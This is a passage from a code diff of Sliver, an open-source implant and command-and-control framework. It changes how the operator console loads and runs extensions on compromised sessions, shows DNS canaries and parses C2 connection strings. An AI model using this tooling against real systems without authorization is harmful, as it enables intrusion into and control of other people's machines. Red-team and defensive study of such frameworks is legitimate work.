-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// ExtensionsListCmd - List all extension loaded on the active session/beacon
-func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	if extList.Response != nil && extList.Response.Err != "" {
-		con.PrintErrorf("%s\n", extList.Response.Err)
-		return
-	}
-	if len(extList.Names) > 0 {
-		con.PrintInfof("Loaded extensions:\n")
-		for _, ext := range extList.Names {
-			con.Printf("- %s\n", ext)
-		}
-	}
-}

client/command/extensions/load.go

@@ -1,23 +1,5 @@
 package extensions
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"bytes"
 	"context"
@@ -30,47 +12,38 @@ import (
 	"path/filepath"
 	"strings"
 
-	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
 )
 
 const (
 	defaultTimeout = 60
-
-	// ManifestFileName - Extension manifest file name
-	ManifestFileName = "extension.json"
 )
 
-var loadedExtensions = map[string]*ExtensionManifest{}
+var commandMap map[string]extensionCommand
 
-type ExtensionManifest struct {
-	Name            string               `json:"name"`
-	CommandName     string               `json:"command_name"`
-	Version         string               `json:"version"`
-	ExtensionAuthor string               `json:"extension_author"`
-	OriginalAuthor  string               `json:"original_author"`
-	RepoURL         string               `json:"repo_url"`
-	Help            string               `json:"help"`
-	Files           []*extensionFile     `json:"files"`
-	Arguments       []*extensionArgument `json:"arguments"`
-	Entrypoint      string               `json:"entrypoint"`
-	DependsOn       string               `json:"depends_on"`
-	Init            string               `json:"init"`
-
-	RootPath string `json:"-"`
+type extensionCommand struct {
+	Name       string              `json:"name"`
+	Help       string              `json:"help"`
+	Files      []extensionFiles    `json:"extFiles"`
+	Arguments  []extensionArgument `json:"arguments"`
+	Entrypoint string              `json:"entrypoint"`
+	DependsOn  string              `json:"dependsOn"`
+	Init       string              `json:"init"`
+	Path       string
+}
+type binFiles struct {
+	Ext64Path string `json:"x64"`
+	Ext32Path string `json:"x86"`
 }
 
-type extensionFile struct {
-	OS   string `json:"os"`
-	Arch string `json:"arch"`
-	Path string `json:"path"`
+type extensionFiles struct {
+	OS    string   `json:"os"`
+	Files binFiles `json:"files"`
 }
 
 type extensionArgument struct {
@@ -80,98 +53,66 @@ type extensionArgument struct {
 	Optional bool   `json:"optional"`
 }
 
-func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
-	filePath := ""
-	for _, extFile := range e.Files {
-		if targetOS == extFile.OS && targetArch == extFile.Arch {
-			filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
-			break
+func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, ef := range e.Files {
+		if targetOS == ef.OS {
+			switch targetArch {
+			case "386":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
+			case "amd64":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			default:
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			}
 		}
 	}
 	if filePath == "" {
-		err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
-		return "", err
+		err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
 	}
-	if _, err := os.Stat(filePath); os.IsNotExist(err) {
-		err = fmt.Errorf("extension file not found: %s", filePath)
-		return "", err
-	}
-	return filePath, nil
+	return
 }
 
-// ExtensionLoadCmd - Load extension command
-func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dirPath := ctx.Args.String("dir-path")
-	extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
+	extCmds, err := ParseExtensions(dirPath)
 	if err != nil {
 		return
 	}
-	// do not add if the command already exists
-	if CmdExists(extCmd.CommandName, con.App) {
-		con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
-		return
+
+	for _, extCmd := range extCmds {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, con.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			continue
+		}
+		RegisterExtensionCommand(extCmd, con)
+		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
 	}
-	ExtensionRegisterCommand(extCmd, con)
-	con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
 }
 
-// LoadExtensionManifest - Parse extension files
-func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
-	data, err := ioutil.ReadFile(manifestPath)
+func ParseExtensions(extPath string) ([]*extensionCommand, error) {
+	manifestPath := filepath.Join(extPath, "manifest.json")
+	jsonBytes, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
-	extManifest, err := ParseExtensionManifest(data)
+	extensionsCmds := make([]*extensionCommand, 0)
+	err = json.Unmarshal(jsonBytes, &extensionsCmds)
 	if err != nil {
 		return nil, err
 	}
-	extManifest.RootPath = filepath.Dir(manifestPath)
-	loadedExtensions[extManifest.CommandName] = extManifest
-	return extManifest, nil
+	for _, extCmd := range extensionsCmds {
+		extCmd.Path = extPath
+		commandMap[extCmd.Name] = *extCmd
+	}
+	return extensionsCmds, nil
 }
 
-// ParseExtensionManifest - Parse extension manifest from buffer
-func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
-	extManifest := &ExtensionManifest{}
-	err := json.Unmarshal(data, &extManifest)
-	if err != nil {
-		return nil, err
-	}
-	if extManifest.Name == "" {
-		return nil, errors.New("missing `name` field in extension manifest")
-	}
-	if extManifest.CommandName == "" {
-		return nil, errors.New("missing `command_name` field in extension manifest")
-	}
-	if len(extManifest.Files) == 0 {
-		return nil, errors.New("missing `files` field in extension manifest")
-	}
-	for _, extFiles := range extManifest.Files {
-		if extFiles.OS == "" {
-			return nil, errors.New("missing `files.os` field in extension manifest")
-		}
-		if extFiles.Arch == "" {
-			return nil, errors.New("missing `files.arch` field in extension manifest")
-		}
-		extFiles.Path = util.ResolvePath(extFiles.Path)
-		if extFiles.Path == "" || extFiles.Path == "/" {
-			return nil, errors.New("missing `files.path` field in extension manifest")
-		}
-		extFiles.OS = strings.ToLower(extFiles.OS)
-		extFiles.Arch = strings.ToLower(extFiles.Arch)
-	}
-	if extManifest.Help == "" {
-		return nil, errors.New("missing `help` field in extension manifest")
-	}
-	return extManifest, nil
-}
-
-// ExtensionRegisterCommand - Register a new extension command
-func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
-	loadedExtensions[extCmd.CommandName] = extCmd
+func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
+	commandMap[extCmd.Name] = *extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name: extCmd.CommandName,
+		Name: extCmd.Name,
 		Help: helpMsg,
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
@@ -180,11 +121,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 			return nil
 		},
 		Flags: func(f *grumble.Flags) {
-			// f.Bool("s", "save", false, "Save output to disk")
+			f.Bool("s", "save", false, "Save output to disk")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Args: func(a *grumble.Args) {
-			if 0 < len(extCmd.Arguments) {
+			if len(extCmd.Arguments) > 0 {
 				// BOF specific
 				for _, arg := range extCmd.Arguments {
 					var (
@@ -214,26 +155,53 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	con.App.AddCommand(extensionCmd)
 }
 
-func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("Error: %s", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("Error: %s", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}
+
+func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
 	var extensionList []string
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
 	if err != nil {
 		return err
 	}
-
 	// Try to find the extension in the loaded extensions
-	if checkCache {
+	if len(session.Extensions) == 0 {
 		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
 			Request: con.ActiveTarget.Request(ctx),
 		})
 		if err != nil {
-			con.PrintErrorf("List extensions error: %s\n", err.Error())
+			con.PrintErrorf("Error: %s\n", err.Error())
 			return err
 		}
 		if extList.Response != nil && extList.Response.Err != "" {
 			return errors.New(extList.Response.Err)
 		}
 		extensionList = extList.Names
+	} else {
+		extensionList = session.Extensions
 	}
 	depLoaded := false
 	for _, extName := range extensionList {
@@ -249,7 +217,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
 		// Auto load the coff loader if we have it
 		if !depLoaded {
-			if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
+			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
 				return errLoad
 			}
 		}
@@ -259,17 +227,31 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 	if err != nil {
 		return err
 	}
-	if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
+	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
 		return errRegister
 	}
+	// Update session info
+	if filepath.Ext(binPath) != ".o" {
+		// Don't update session for BOFs, we don't cache them
+		// on the implant side (yet)
+		// update the Session info
+		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+			Extensions: extensionList,
+			SessionID:  session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+	}
 	return nil
 }
 
-func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
 	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
-		Name:    ext.CommandName,
+		Name:    ext.Name,
 		Data:    binData,
-		OS:      goos,
+		OS:      session.OS,
 		Init:    ext.Init,
 		Request: con.ActiveTarget.Request(ctx),
 	})
@@ -282,10 +264,10 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
 	return nil
 }
 
-func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
-	depExt, ok := loadedExtensions[depName]
-	if ok {
-		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
+func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
+	depExt, f := commandMap[depName]
+	if f {
+		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
 		if err != nil {
 			return err
 		}
@@ -293,47 +275,47 @@ func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, c
 		if err != nil {
 			return err
 		}
-		return registerExtension(goos, depExt, depBinData, ctx, con)
+		return registerExtension(con, &depExt, depBinData, session, ctx)
 	}
 	return fmt.Errorf("missing dependency %s", depName)
 }
 
 func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
+		callExtension *sliverpb.CallExtension
 		err           error
 		extensionArgs []byte
 		extName       string
 		entryPoint    string
 	)
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
 		return
 	}
-	var goos string
-	var goarch string
-	if session != nil {
-		goos = session.OS
-		goarch = session.Arch
-	} else {
-		goos = beacon.OS
-		goarch = beacon.Arch
-	}
 
-	ext, ok := loadedExtensions[ctx.Command.Name]
+	ext, ok := commandMap[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 
-	checkCache := session != nil
-	if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
+	if err = loadExtension(ctx, session, con, &ext); err != nil {
 		con.PrintErrorf("Could not load extension: %s\n", err)
 		return
 	}
 
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
 	if err != nil {
-		con.PrintErrorf("Failed to read extension file: %s\n", err)
+		con.PrintErrorf("%s\n", err)
 		return
 	}
 
@@ -348,23 +330,22 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		// Beacon Object File -- requires a COFF loader
 		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
 		if err != nil {
-			con.PrintErrorf("BOF args error: %s\n", err)
+			con.PrintErrorf("Error: %s\n", err)
 			return
 		}
 		extName = ext.DependsOn
-		entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
+		entryPoint = commandMap[extName].Entrypoint // should exist at this point
 	} else {
 		// Regular DLL
 		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
 		extensionArgs = []byte(extArgs)
-		extName = ext.CommandName
+		extName = ext.Name
 		entryPoint = ext.Entrypoint
 	}
-
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
 	con.SpinUntil(msg, ctrl)
-	callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
 		Name:    extName,
 		Export:  entryPoint,
 		Args:    extensionArgs,
@@ -373,42 +354,24 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl <- true
 	<-ctrl
 	if err != nil {
-		con.PrintErrorf("Call extension error: %s\n", err.Error())
+		con.PrintErrorf("Error: %s\n", err.Error())
 		return
 	}
-
-	if callExtResp.Response != nil && callExtResp.Response.Async {
-		con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, callExtResp)
-			if err != nil {
-				con.PrintErrorf("Failed to decode call ext response %s\n", err)
-				return
-			}
-			PrintExtOutput(extName, ext.CommandName, callExtResp, con)
-		})
-		con.PrintAsyncResponse(callExtResp.Response)
-	} else {
-		PrintExtOutput(extName, ext.CommandName, callExtResp, con)
-	}
-}
-
-// PrintExtOutput - Print the ext execution output
-func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
-	if extName == commandName {
-		con.PrintInfof("Successfully executed %s\n", extName)
-	} else {
-		con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
-	}
-	if 0 < len(string(callExtension.Output)) {
-		con.PrintInfof("Got output:\n%s\n", callExtension.Output)
-	}
 	if callExtension.Response != nil && callExtension.Response.Err != "" {
-		con.PrintErrorf("%s\n", callExtension.Response.Err)
+		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
 		return
 	}
+	con.PrintInfof("Successfully executed %s\n", extName)
+	if len(callExtension.Output) > 0 {
+		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
+		if outFilePath != nil {
+			outFilePath.Write(callExtension.Output)
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
 }
 
-func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
+func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
 	var extensionArgs []byte
 	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
@@ -486,8 +449,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 
 }
 
-// CmdExists - checks if a command exists
-func CmdExists(name string, app *grumble.App) bool {
+func cmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {
 			return true
@@ -495,3 +457,7 @@ func CmdExists(name string, app *grumble.App) bool {
 	}
 	return false
 }
+
+func init() {
+	commandMap = make(map[string]extensionCommand)
+}

client/command/extensions/remove.go

@@ -1,77 +0,0 @@
-package extensions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-	"fmt"
-	"os"
-	"path/filepath"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
-)
-
-// ExtensionsRemoveCmd - Remove an extension
-func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
-	if name == "" {
-		con.PrintErrorf("Extension name is required\n")
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
-	survey.AskOne(prompt, &confirm)
-	if !confirm {
-		return
-	}
-	err := RemoveExtensionByCommandName(name, con)
-	if err != nil {
-		con.PrintErrorf("Error removing extension: %s\n", err)
-		return
-	} else {
-		con.PrintInfof("Extension '%s' removed\n", name)
-	}
-}
-
-// RemoveExtensionByCommandName - Remove an extension by command name
-func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
-	if commandName == "" {
-		return errors.New("command name is required")
-	}
-	if _, ok := loadedExtensions[commandName]; !ok {
-		return errors.New("extension not loaded")
-	}
-	delete(loadedExtensions, commandName)
-	con.App.Commands().Remove(commandName)
-	extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
-	if _, err := os.Stat(extPath); os.IsNotExist(err) {
-		return nil
-	}
-	forceRemoveAll(extPath)
-	return nil
-}
-
-func forceRemoveAll(rootPath string) {
-	util.ChmodR(rootPath, 0o600, 0o700)
-	os.RemoveAll(rootPath)
-}

client/command/filesystem/ls.go

@@ -81,10 +81,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				// Then we have a filter on the end of the path
 				remotePath = baseDir
 				filter = potentialFilter
-			} else {
-				if !strings.HasSuffix(remotePath, "/") {
-					remotePath = remotePath + "/"
-				}
 			}
 		}
 	}

client/command/generate/canaries.go

@@ -1,15 +1,16 @@
 package generate
 
 import (
+	"bytes"
 	"context"
 	"fmt"
+	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // CanariesCmd - Display canaries from the database and their status
@@ -20,45 +21,56 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if 0 < len(canaries.Canaries) {
-		PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
+		displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
 	} else {
 		con.PrintInfof("No canaries in database\n")
 	}
 }
 
-// PrintCanaries - Print the canaries tracked by the server
-func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Sliver Name",
-		"Domain",
-		"Triggered",
-		"First Trigger",
-		"Latest Trigger",
-	})
+func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Sliver Name")),
+		strings.Repeat("=", len("Domain")),
+		strings.Repeat("=", len("Triggered")),
+		strings.Repeat("=", len("First Trigger")),
+		strings.Repeat("=", len("Latest Trigger")),
+	)
+
+	lineColors := []string{}
 	for _, canary := range canaries {
 		if burnedOnly && !canary.Triggered {
 			continue
 		}
-		lineColor := console.Normal
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+			canary.ImplantName,
+			canary.Domain,
+			fmt.Sprintf("%v", canary.Triggered),
+			canary.FirstTriggered,
+			canary.LatestTrigger,
+		)
 		if canary.Triggered {
-			lineColor = console.Bold + console.Red
+			lineColors = append(lineColors, console.Bold+console.Red)
+		} else {
+			lineColors = append(lineColors, console.Normal)
+		}
+	}
+	table.Flush()
+
+	for index, line := range strings.Split(outputBuf.String(), "\n") {
+		if len(line) == 0 {
+			continue
+		}
+		// We need to account for the two rows of column headers
+		if 0 < len(line) && 2 <= index {
+			lineColor := lineColors[index-2]
+			con.Printf("%s%s%s\n", lineColor, line, console.Normal)
+		} else {
+			con.Printf("%s\n", line)
 		}
-		firstTrigger := "Never"
-		latestTrigger := "Never"
-		if canary.Triggered {
-			firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
-			latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
-		}
-		row := table.Row{
-			fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
-			fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
-			fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
-			firstTrigger,
-			latestTrigger,
-		}
-		tw.AppendRow(row)
 	}
-	con.Printf("%s\n", tw.Render())
 }

client/command/generate/generate-beacon.go

@@ -12,7 +12,7 @@ import (
 
 var (
 	minBeaconInterval         = 5 * time.Second
-	ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
+	ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
 )
 
 // GenerateBeaconCmd - The main command used to generate implant binaries

client/command/generate/generate.go

@@ -178,46 +178,22 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 
 	c2s := []*clientpb.ImplantC2{}
 
-	mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return nil
-	}
+	mtlsC2 := ParseMTLSc2(ctx.Flags.String("mtls"))
 	c2s = append(c2s, mtlsC2...)
 
-	wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return nil
-	}
+	wgC2 := ParseWGc2(ctx.Flags.String("wg"))
 	c2s = append(c2s, wgC2...)
 
-	httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return nil
-	}
+	httpC2 := ParseHTTPc2(ctx.Flags.String("http"))
 	c2s = append(c2s, httpC2...)
 
-	dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return nil
-	}
+	dnsC2 := ParseDNSc2(ctx.Flags.String("dns"))
 	c2s = append(c2s, dnsC2...)
 
-	namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return nil
-	}
+	namedPipeC2 := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
 	c2s = append(c2s, namedPipeC2...)
 
-	tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return nil
-	}
+	tcpPivotC2 := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
 	c2s = append(c2s, tcpPivotC2...)
 
 	var symbolObfuscation bool
@@ -374,74 +350,51 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
 }
 
 // ParseMTLSc2 - Parse mtls connection string arg
-func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
+func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s, nil
+		return c2s
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
-		var uri *url.URL
-		var err error
-		if strings.HasPrefix(arg, "mtls://") {
-			uri, err = url.Parse(arg)
-			if err != nil {
-				return nil, err
-			}
-		} else {
-			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
-			if err != nil {
-				return nil, err
-			}
-		}
+		uri := url.URL{Scheme: "mtls"}
+		uri.Host = arg
 		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
+			uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s, nil
+	return c2s
 }
 
 // ParseWGc2 - Parse wg connect string arg
-func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
+func ParseWGc2(args string) []*clientpb.ImplantC2 {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s, nil
+		return c2s
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
-		var uri *url.URL
-		var err error
-		if strings.HasPrefix(arg, "mtls://") {
-			uri, err = url.Parse(arg)
-			if err != nil {
-				return nil, err
-			}
-		} else {
-			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
-			if err != nil {
-				return nil, err
-			}
-		}
+		uri := url.URL{Scheme: "wg"}
+		uri.Host = arg
 		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
+			uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
 		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
 		})
 	}
-	return c2s, nil
+	return c2s
 }
 
 // ParseHTTPc2 - Parse HTTP connection string arg
-func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
+func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
 	c2s := []*clientpb.ImplantC2{}
 	if args == "" {
-		return c2s, nil
+		return c2s
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
@@ -450,12 +403,14 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
-				return nil, err
+				log.Printf("Failed to parse C2 URL %s", err)
+				continue
 			}
 		} else {
